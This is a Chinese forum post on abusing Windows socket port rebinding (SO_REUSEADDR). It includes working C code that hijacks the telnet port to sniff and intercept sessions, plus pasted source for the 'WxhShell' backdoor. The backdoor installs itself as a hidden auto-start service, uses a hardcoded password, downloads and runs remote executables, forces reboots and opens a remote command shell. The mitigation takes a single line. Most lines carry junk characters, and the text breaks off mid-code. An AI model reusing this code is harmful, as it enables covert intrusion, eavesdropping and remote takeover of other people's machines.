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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *1 [v08?!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P95A _(T=[  
\dz@hJl:  
  saddr.sin_family = AF_INET; eHjn<@  
CNiUHUD  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); i@C$O.m(  
D/&^Y'|T  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); iS"(  
01nbR+e  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "7k 82dw  
~e!b81  
  这意味着什么?意味着可以进行如下的攻击: 02~+$R]L  
ZAG ia q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 JM@}+pX  
Vp'Zm:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :2KLziO2  
>_4Ck{^d#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?T(>!m  
z$>_c "D  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  fb8t9sAI  
(IXe5 55  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q/,bEDc&  
a3<.F&c+c  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 d,G:+  
2h6<'2'o1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @L-3&~=  
O,kzU,zOs  
  #include ho7L@NR  
  #include {i7Wp$ug  
  #include L.uX  
  #include    m"<Sb,"x!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ORV~F0d<  
  int main() SJtQK-%wK>  
  { Qv%"iSe~J  
  WORD wVersionRequested; to1{7q  
  DWORD ret; >_Dq)n;%  
  WSADATA wsaData; D9;2w7v  
  BOOL val; DJ)z~W2I*  
  SOCKADDR_IN saddr; ^0/FZ)V8  
  SOCKADDR_IN scaddr; +%'S>g0W=  
  int err; cVt MCgx  
  SOCKET s; ]Fc<% wzp  
  SOCKET sc; G 1 rsd  
  int caddsize; N;9m&)@JR'  
  HANDLE mt; #-_';Er\  
  DWORD tid;   U9[ &ci  
  wVersionRequested = MAKEWORD( 2, 2 ); ' {L5 3cH=  
  err = WSAStartup( wVersionRequested, &wsaData ); S`Jo^!VJ4  
  if ( err != 0 ) { :)UF#  
  printf("error!WSAStartup failed!\n"); TU-4+o%;  
  return -1; I]"wT2@T;7  
  } s:y~vd(Vi  
  saddr.sin_family = AF_INET; QQso<.d&  
   v>FsP$p4yE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "eq{_4dL  
:@:i*2=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Fq6sl}b(On  
  saddr.sin_port = htons(23); Tl^9!>\Q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @O/Jy2>3H  
  { 5U&b")3IT!  
  printf("error!socket failed!\n"); oh k.;  
  return -1; !1tHg Z2\  
  } }7>r,  
  val = TRUE; fb7Gy  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0UEEvD5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2F0@M|'  
  { W0X/&v,k*  
  printf("error!setsockopt failed!\n"); {8)Pke  
  return -1; .{` :  
  } W=fw*ro  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .5ap9li]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DD3.el}6a  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 U[EM<5@I  
TBN0uk  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hjVct r  
  { GJ:65)KU  
  ret=GetLastError(); ^tS{a*Yn  
  printf("error!bind failed!\n"); 2sj[hI  
  return -1; I%]~]a  
  } jN\} l|;q  
  listen(s,2); }pJ6CW  
  while(1) 3BuG_ild  
  { _d#1muZ?p|  
  caddsize = sizeof(scaddr); WgxGx`Y)  
  //接受连接请求 '?Mt*%J@=$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *9#6N2J$M  
  if(sc!=INVALID_SOCKET) 4l/hh|3@  
  { 39p&M"Yo  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); kiLwN nq  
  if(mt==NULL) *=Ko"v }  
  { %#xdD2oN  
  printf("Thread Creat Failed!\n"); :Ve>tZeW  
  break; :.863_/  
  } xV&c)l>}  
  } \K$9r=!(  
  CloseHandle(mt); sN`2"t/s  
  } g.wp }fz  
  closesocket(s); |JZ3aS   
  WSACleanup(); v~f_~v5J!  
  return 0; #k %$A}9  
  }   s}8(__|  
  DWORD WINAPI ClientThread(LPVOID lpParam) /5qeNjI+2  
  { !~+"TI}_%w  
  SOCKET ss = (SOCKET)lpParam; 'R&Y pR  
  SOCKET sc; Aofk<O!M  
  unsigned char buf[4096]; f tS^|%p  
  SOCKADDR_IN saddr; @>Y.s6a  
  long num; : +Na8\d  
  DWORD val; DQC=f8  
  DWORD ret; +Bg$]~ T  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Lnin;0~{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   T r|B:)X  
  saddr.sin_family = AF_INET; ~HWH2g  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S$ u`)BG):  
  saddr.sin_port = htons(23); nQe^Bn  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /NFk@8<?  
  { ;VhilWaF-  
  printf("error!socket failed!\n"); >o=O^:/L  
  return -1; %gK@ R3p  
  } _[D6 WY+  
  val = 100; n}KF) W=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &I8Q'  
  { :<t%Sf  
  ret = GetLastError(); cK( )_RB#  
  return -1; EL*OeyU1l  
  } Z~&$s  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m<7Ax>  
  { j#}wg`P"A  
  ret = GetLastError(); \"L ;Ct 8  
  return -1; e70#"~gt[  
  } /y8=r"'G  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #~3$4j2U(y  
  { iME )Jl&  
  printf("error!socket connect failed!\n"); !V<c:6"  
  closesocket(sc); vJybhdvP  
  closesocket(ss); s|p,UK  
  return -1; vpt*?eR  
  } Z7\}x"hk  
  while(1) fN)A`>iP  
  { ]H ze  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Sz!mn  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qDG{hvl[1r  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bl8zcpdL  
  num = recv(ss,buf,4096,0); .<#oLM^  
  if(num>0) yf > rG  
  send(sc,buf,num,0); d-GU164  
  else if(num==0) ,iUWLcOM  
  break; ;rp("<g:>  
  num = recv(sc,buf,4096,0); Z2Q'9C},m  
  if(num>0) Alo;kt@x  
  send(ss,buf,num,0); w'[^RZW:j  
  else if(num==0)  c@eQSy  
  break; 8C,}nh  
  } V/p+Xv(Zt  
  closesocket(ss); tu4-##{  
  closesocket(sc); E#?Bn5-uBs  
  return 0 ; xqZZ(jZ  
  } }PC_qQF  
ID{62>R  
2p^Jqp`$  
========================================================== 6]%SSq&  
,,FO6+4f  
下边附上一个代码,,WXhSHELL n(}cK@  
,@\$PyJ  
========================================================== bD2):U*Fzo  
&ikPa,A  
#include "stdafx.h" ~__r- z  
cDkq@H:   
#include <stdio.h> <\44%M"iC-  
#include <string.h> 2F}D?] A  
#include <windows.h> ";kwh8wB  
#include <winsock2.h> g6AEMer  
#include <winsvc.h> PZ#\O  
#include <urlmon.h> "b~-`ni  
Gy]ZYo(  
#pragma comment (lib, "Ws2_32.lib") QL].)Vgf  
#pragma comment (lib, "urlmon.lib") jDO"?@+  
[:hTwBRF  
#define MAX_USER   100 // 最大客户端连接数 sKg IKYG}T  
#define BUF_SOCK   200 // sock buffer 4](jV}Hg  
#define KEY_BUFF   255 // 输入 buffer =&_Y=>rA]0  
A$JL"~R  
#define REBOOT     0   // 重启 .RazjXAY  
#define SHUTDOWN   1   // 关机 iBqxz:PHN(  
c"wk_ #  
#define DEF_PORT   5000 // 监听端口 o4.?m6d  
7>-"r*W +z  
#define REG_LEN     16   // 注册表键长度 3rxB]-  
#define SVC_LEN     80   // NT服务名长度 Th'B5:`  
zfsGf 'U  
// 从dll定义API =qJlSb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); No\3kRB4bi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KbXENz&C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4MFdhJoN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IPVD^a ?  
Kggc9^ 7  
// wxhshell配置信息 _c z$w5`  
struct WSCFG { s)A=hB-V  
  int ws_port;         // 监听端口 \kR:GZ`{UV  
  char ws_passstr[REG_LEN]; // 口令 w/1Os!p  
  int ws_autoins;       // 安装标记, 1=yes 0=no B[$L)y'-;  
  char ws_regname[REG_LEN]; // 注册表键名 uo TTHj7cq  
  char ws_svcname[REG_LEN]; // 服务名 C:9a$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M#u~]?hS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0Tv0:c>8;(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ZZ? KD\S5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r|ID]}w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }J^+66{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZRy'lW  
r\j*?m ]  
}; w/oXFs&FK  
s7Z+--I)L  
// default Wxhshell configuration _{C =d3  
struct WSCFG wscfg={DEF_PORT, n40&4n  
    "xuhuanlingzhe", P\rA>ZY  
    1, F97HFt6{  
    "Wxhshell", )c<X.4  
    "Wxhshell", J$D/-*/@  
            "WxhShell Service", _O$7*k  
    "Wrsky Windows CmdShell Service", Puq  
    "Please Input Your Password: ", )azK&f@tR|  
  1, W<c95QD.  
  "http://www.wrsky.com/wxhshell.exe", |?gO@?KDZ  
  "Wxhshell.exe" N<N uBtkA  
    }; p Lwtm@  
olxnQYFo  
// 消息定义模块 FoW|BGA~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xbNL <3"a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <*3#nA-O>i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NY3/mS3w  
char *msg_ws_ext="\n\rExit."; VprrklZ  
char *msg_ws_end="\n\rQuit."; ]r(&hqdR  
char *msg_ws_boot="\n\rReboot..."; WbwS!F<au  
char *msg_ws_poff="\n\rShutdown..."; V|hr9  
char *msg_ws_down="\n\rSave to "; th^&wp  
e ia>Y$  
char *msg_ws_err="\n\rErr!"; bjr()NM1  
char *msg_ws_ok="\n\rOK!"; 4(%LG)a4S  
~7$jW[i  
char ExeFile[MAX_PATH]; dr gCr:Gf  
int nUser = 0; x:E:~h[.^  
HANDLE handles[MAX_USER]; \LYNrL~?J  
int OsIsNt; (`js/7[`H[  
hRI?>an  
SERVICE_STATUS       serviceStatus; =,J-D6J?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; nr?|!gj  
ec&K}+p@  
// 函数声明 QB<~+d W  
int Install(void); ]j+J^g  
int Uninstall(void); x>Gx yVE  
int DownloadFile(char *sURL, SOCKET wsh); le150;7  
int Boot(int flag); ^JY,K  
void HideProc(void); pmuT7*<19  
int GetOsVer(void); DmiZ"A  
int Wxhshell(SOCKET wsl); )1E#'v12 "  
void TalkWithClient(void *cs); Ca}V5O  
int CmdShell(SOCKET sock); 7m.>2U   
int StartFromService(void); 3{{Ew}kZm  
int StartWxhshell(LPSTR lpCmdLine); G0lg5iA<fC  
r E&}B5PN=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2o<aEn&7|e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W}P9I&3  
DR(/|?k+  
// 数据结构和表定义 Oq[YbQ'GE  
SERVICE_TABLE_ENTRY DispatchTable[] = il[waUfmD  
{ `6\u!#  
{wscfg.ws_svcname, NTServiceMain}, `&jG8lHa  
{NULL, NULL} U.pGp]\Q)G  
}; > zV  
ly::?  
// 自我安装 V)Ze> Pp  
int Install(void) )W^$7 Em  
{ ^D?{[LBc  
  char svExeFile[MAX_PATH]; 62 9g_P)  
  HKEY key; oR~s \Gt  
  strcpy(svExeFile,ExeFile); ld[BiP`B2V  
"Ky&x$dje  
// 如果是win9x系统,修改注册表设为自启动 Vs9]Gm  
if(!OsIsNt) { :NynNu'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +QA|]Y~!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hn}m}A  
  RegCloseKey(key); @y/!`Ziw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'B;n&tJ   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wg=qlux-  
  RegCloseKey(key); a49t/  
  return 0;  ay,"MJ2  
    } 3a0% J'  
  } K6 c[W%Va  
} E]0Qz? W  
else { `4-m$ab  
}=fls=c/0  
// 如果是NT以上系统,安装为系统服务 u,JUMH]@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }$` PZUw>  
if (schSCManager!=0) cuh Z_l  
{ }oL l? L  
  SC_HANDLE schService = CreateService jE2EoQ i,  
  ( A-l[f\  
  schSCManager, 4"s/T0C  
  wscfg.ws_svcname, 9.wZhcqqU  
  wscfg.ws_svcdisp, FyqsFTh_  
  SERVICE_ALL_ACCESS, P-\65]`C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3'!*/UnU  
  SERVICE_AUTO_START, IweNe`Z  
  SERVICE_ERROR_NORMAL, e3WEsD+  
  svExeFile, fF^A9{{BS  
  NULL, " ""pe+Y  
  NULL, kZ'wXtBYe  
  NULL, NEt_UcC  
  NULL, Tbj}04;I  
  NULL vlo!D9zsV3  
  ); Ga\kvMtr  
  if (schService!=0) 9>/:c\q+  
  { +@dgHDJ  
  CloseServiceHandle(schService); km29]V=}  
  CloseServiceHandle(schSCManager); "DSRyD0M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +8.1cDEH\  
  strcat(svExeFile,wscfg.ws_svcname); ~iJ@x;`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #:=*n(GT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ok{ F=z  
  RegCloseKey(key); ?~X^YxWsY  
  return 0; f@ .s(i=z  
    } =D Tbz3<  
  } &%4A3.qE  
  CloseServiceHandle(schSCManager); 2+|U!X  
} x{3q'2  
} hw1J <Pl*  
sOm&7A?  
return 1; {j%7/T{  
} /\U:F  
Go !{T  
// 自我卸载 `!C5"i8+i2  
int Uninstall(void) PoZxT-U  
{ FSb4RuD9  
  HKEY key; yGC3B00Z  
$1n\jN  
if(!OsIsNt) { $*C'{&2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yc0_ 7Im?  
  RegDeleteValue(key,wscfg.ws_regname); WQv`%%G2>  
  RegCloseKey(key); rSKZc`<^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Muok">#3.  
  RegDeleteValue(key,wscfg.ws_regname); [fg-"-+:M  
  RegCloseKey(key); T^S $|d  
  return 0; -*;JUSGh  
  } 5}:`CC2,S~  
} Qb@i_SX(fs  
} ^4=%~Yx  
else { Asli<L(?`  
}^azj>p5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1SG^X-(GM/  
if (schSCManager!=0) :`Xg0J+P  
{ |H;+9(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4S*dNYc  
  if (schService!=0) "]B%V!@  
  { Jm-bE 8b  
  if(DeleteService(schService)!=0) { ?pV!`vp^{  
  CloseServiceHandle(schService); yUvn h  
  CloseServiceHandle(schSCManager); 0A F}wz>  
  return 0;  6Ok]E`  
  } qP72JxT  
  CloseServiceHandle(schService); x<=R?4@rq  
  } <X ([VZ  
  CloseServiceHandle(schSCManager); z0?IQzR^T  
} zE?@_p1gei  
} 9lB$i2G>Zw  
;]_h")4"c  
return 1; U4h5K}j4  
} %(>,eee_  
z)%]# QO  
// 从指定url下载文件 lMe+.P|  
int DownloadFile(char *sURL, SOCKET wsh) S^nI=HTm  
{ >~})O&t  
  HRESULT hr; Ly]J-BTe  
char seps[]= "/"; WT:ZT$W  
char *token; :~'R|l  
char *file; ITfz/d8  
char myURL[MAX_PATH]; Xn%O .yM6  
char myFILE[MAX_PATH]; "X\6tl7a|  
H4uHCkj  
strcpy(myURL,sURL); fy={  
  token=strtok(myURL,seps); 7,FhKTV1/  
  while(token!=NULL) uEr['>  
  { [BFPIVD)h]  
    file=token; Uwg*kJ3H  
  token=strtok(NULL,seps); &[kFl\  
  } %wN*Hu~E  
w-LaSJ(T  
GetCurrentDirectory(MAX_PATH,myFILE); CM;B{*En  
strcat(myFILE, "\\"); ) h=[7}|  
strcat(myFILE, file); cnj32H^+  
  send(wsh,myFILE,strlen(myFILE),0); =21m|8c  
send(wsh,"...",3,0); K$5mDScoJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *@g>~q{`  
  if(hr==S_OK) Gq{);fq  
return 0; r\$`e7d}!  
else 0 D&-BAzi  
return 1; hSG1f`  
+Os9}uKf  
} t<MO~_`!  
bCV_jR+  
// 系统电源模块 bOD] `*q  
int Boot(int flag) hZ-?-F?*@  
{ @# GS4I  
  HANDLE hToken; YA~`R~9d  
  TOKEN_PRIVILEGES tkp; 6Tsi^((Li  
\%QA)T%  
  if(OsIsNt) { }B&+KO)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D(#6H~QN%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VUzRA"DP|  
    tkp.PrivilegeCount = 1; \2M{R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N$M:&m3^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;!)gjiapw  
if(flag==REBOOT) { G|qsJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BB.120v&N  
  return 0; drS>~lSxB  
} 'k/:3?R  
else { *&~ '  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ex8}./mjJ  
  return 0; *z)+'D*+  
} R6\|:mI,$  
  } rA A?{(!9x  
  else { X- `PF  
if(flag==REBOOT) { +7r?vo1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `+@r0:G&v  
  return 0; qq>Qi(>  
} .qrS[ w  
else { C#P7@JE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4tz@?T Cb  
  return 0; Fz2C XC  
} r:H.VAD  
} (1)b> 6  
lF~!F<^9  
return 1; S0?e/VWy  
} \ \gAa-}:  
-d^c!Iu|  
// win9x进程隐藏模块 p$a+?5'Q  
void HideProc(void) >f(M5v(D\  
{ q>[}JtXK  
(Ji=fh+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SyI i*dH  
  if ( hKernel != NULL ) Nh1, w  
  { *kt%.wPJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fr8hT(,s)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T*92o:^  
    FreeLibrary(hKernel); ;I~ UQgE6H  
  } &_,.*tha  
Cw h[R  
return; U9"Ij}  
} 3 ]w a8|  
fK+[r1^  
// 获取操作系统版本 rS_pv=0S  
int GetOsVer(void) CmdPa!4)  
{ ';I(#J6  
  OSVERSIONINFO winfo; QsyM[;\j:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m.c2y6<=  
  GetVersionEx(&winfo); X)S4vqf}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Kc+TcC  
  return 1; :a_MT  
  else yD Avl+  
  return 0; 6NGQU%Hd  
} C@ "l"  
)Tw A?kj  
// 客户端句柄模块 yXBWu=w3`O  
int Wxhshell(SOCKET wsl) RSIhZYA  
{  ja^  
  SOCKET wsh; 6<No_x |_  
  struct sockaddr_in client; 5E}!TL$  
  DWORD myID; 6yXN7L==x  
##'uekSJ  
  while(nUser<MAX_USER) J/\^3rCB  
{ ,AG k4]  
  int nSize=sizeof(client); T 2Gscey  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \:E=B1  
  if(wsh==INVALID_SOCKET) return 1; OhTd>~R`<  
GP_%. fO\M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;9hS_%ldX4  
if(handles[nUser]==0) *ch7z|wo.  
  closesocket(wsh); G@rV9  
else fT5vO.a  
  nUser++; .cs4AWml<  
  } vUB*Qm]Y\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'S 6JpWG1  
vxXrVPU3  
  return 0; _cd=PZhI  
} _EC H(  
LNM#\fb  
// 关闭 socket +d=8/3O%  
void CloseIt(SOCKET wsh) Y 9@ 2d  
{ ;2'/rEq4o  
closesocket(wsh); q6eD{/4a1  
nUser--; O@-(fyG  
ExitThread(0); \hZye20  
} E|x t\ *  
7$"n.cr :  
// 客户端请求句柄 9HZR%s[J  
void TalkWithClient(void *cs) dI~{0)s  
{ +lw1v  
=qS\+  
  SOCKET wsh=(SOCKET)cs; ,AyQCUz{*?  
  char pwd[SVC_LEN]; B4w/cIj_  
  char cmd[KEY_BUFF]; L+.-aB2!d  
char chr[1]; UGQH wz  
int i,j; `ex>q  
HlXEU$e  
  while (nUser < MAX_USER) { ||'A9  
GyGF<%nq  
if(wscfg.ws_passstr) { VIuzBmR|\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i:x<Vi  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'nfdOX.d  
  //ZeroMemory(pwd,KEY_BUFF); B }  
      i=0; =A<a9@N}N  
  while(i<SVC_LEN) { DVw 04ay%  
=|IY[2^  
  // 设置超时 4Vv$bbu+  
  fd_set FdRead; f# sDG  
  struct timeval TimeOut; Ummoph7_@  
  FD_ZERO(&FdRead); Y >U_l:_^  
  FD_SET(wsh,&FdRead); isor%R!  
  TimeOut.tv_sec=8; +}Qq#^:_\  
  TimeOut.tv_usec=0; . r \g]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C@rIyBj1g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;bkvdn}  
0"koZd,c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); InB'Ag"  
  pwd=chr[0]; uw{ K&Hxw  
  if(chr[0]==0xd || chr[0]==0xa) { B=|m._OL]n  
  pwd=0; U\(T<WX,  
  break; =o_zsDv  
  } (gF{S* `  
  i++; }!jn%@_y@  
    } hd#MV!ti  
LteZ7e  
  // 如果是非法用户,关闭 socket &'W ~~ir  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oZw#]Q@  
} >"pHk@AWK  
e{}vT$-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P@8S|#LpZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )KUEkslR:  
6kdcFcV-]  
while(1) { 7loIjT7  
m&+V@H  
  ZeroMemory(cmd,KEY_BUFF); n*A"}i`ix  
b:W x[+  
      // 自动支持客户端 telnet标准   d5qGTT ~a  
  j=0; ?d@zTAI  
  while(j<KEY_BUFF) { ""x>-j4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -H"^;37T"  
  cmd[j]=chr[0]; ^2"3h$DJfS  
  if(chr[0]==0xa || chr[0]==0xd) { "]x#kM  
  cmd[j]=0; .12H/F  
  break; vec4R )S  
  } $DhW=(YM_a  
  j++; {@ Z%6%'9  
    } 52'0l>  
g!!:o(k  
  // 下载文件 U&u~i 3  
  if(strstr(cmd,"http://")) { a5uBQ?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2;`WI:nt  
  if(DownloadFile(cmd,wsh)) DQ%(X&k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }/}eZCaG  
  else y:,m(P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  u'qc=5  
  } jl,>0 MA  
  else { mLH,6rO9  
x1`zD*{  
    switch(cmd[0]) { E\*M4n\!  
  @_Es|(4  
  // 帮助 0EBHR Y_F  
  case '?': { eD0|6P;Ei  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8eD/9PD=F  
    break; 1|oE3  
  } -k,?cEjCs  
  // 安装 e+Sq&H!@  
  case 'i': { p%-m" u  
    if(Install()) ivJTE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RwDXOdgu  
    else c<imqDf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $c7Utm s  
    break; p9j2jb,qy  
    } j:xm>X'  
  // 卸载 ew*;mQd  
  case 'r': { SI:Iv:>  
    if(Uninstall()) s+&iH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =[IKwmCX  
    else la 89>pF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8o[+>W  
    break; /[UuHU5*R  
    } XseP[  
  // 显示 wxhshell 所在路径 [A#>G4a<  
  case 'p': { 7WEoyd  
    char svExeFile[MAX_PATH]; t[X,m]SX  
    strcpy(svExeFile,"\n\r"); Sbjc8V ut  
      strcat(svExeFile,ExeFile); PAs.T4Av^  
        send(wsh,svExeFile,strlen(svExeFile),0); R6qC0@*  
    break; ,Zb_Pu   
    } .5+5ca  
  // 重启 #E@X'jwu  
  case 'b': { 1-?TjR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0{sYD*gK]  
    if(Boot(REBOOT)) >3)AO04=;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d2tJ=.DI  
    else { 48[b1#q]  
    closesocket(wsh); >on' y+  
    ExitThread(0); q]OgT4ly  
    } HQ`A.E2  
    break; `lN Z|U  
    } og8"#%  
  // 关机 +3o 4KB}  
  case 'd': { !l~3K(&4  
